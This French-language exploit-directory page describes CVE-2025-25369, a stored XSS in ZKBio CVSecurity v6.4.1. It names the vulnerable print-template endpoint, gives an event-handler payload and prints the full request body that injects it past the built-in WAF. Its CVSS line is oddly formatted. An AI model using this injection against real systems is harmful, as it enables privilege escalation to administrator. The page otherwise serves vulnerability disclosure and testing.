Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-25369 — Exploit XSS documenté pour ZKBio CVSecurity v.6.4.1 avec contournement du WAF, permettant une escalade de privilèges de l'éditeur de modèles à l'administrateur via des modèles d'impression conçus spécialement. | Kitploit
Outils/GitHubGitHub/lkasjkasj/cve-2025-25369
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebContournement de WAFTests d'Intrusion
GitHublkasjkasj/cve-2025-25369

CVE-2025-25369

Exploit XSS documenté pour ZKBio CVSecurity v.6.4.1 avec contournement du WAF, permettant une escalade de privilèges de l'éditeur de modèles à l'administrateur via des modèles d'impression conçus spécialement.

Voir le dépôt
4il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-25369: Vulnérabilité de Cross Site Scripting dans ZKTeco ZKBio CVSecurity v.6.4.1

Une vulnérabilité XSS a été découverte dans ZKBio CVSecurity v.6.4.1.
Un attaquant pourrait exploiter cette vulnérabilité avec les privilèges de l'Éditeur de modèles et escalader ses privilèges jusqu'à administrateur. Le contournement du WAF intégré a également été réalisé. Cela peut mener à un compromis complet du système.

  • Versions affectées : ZKBio CVSecurity <= v.6.4.1
  • Correction dans : -

Score CVSS : 4.3 (Faible)
Vecteur : CVSS:4.3 AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L

Composant affecté :

  • zkbiosecurity/system/remote/BasePrintTemplateRemote.class
  • basePrintTemplate.do?savePrintTemplate

Vecteurs d'attaque :

  • Injection XSS lors de la création d'un modèle imprimable

Charge utile :

onpointerdown="prompt(8)"

Toutes les données pour la requête :

[{"printType":""background","width":318,"height":505,"printValue":"/upload/pers/101010101.txt"","direction":"1"},{"cell":"printData.person.pin","leftPoint":"77px","topPoint":"323px","width":117,"height":20,"printType":"text","style":"draggable" onpointerdown="prompt(8)" ui-draggable","color":"0, 0, 0","fontSize":"18px","align":"start","fontFamily":""Arial"","printValue":"pers_person_pin","direction":"1"}]

image

image

image

Télécharger l’outil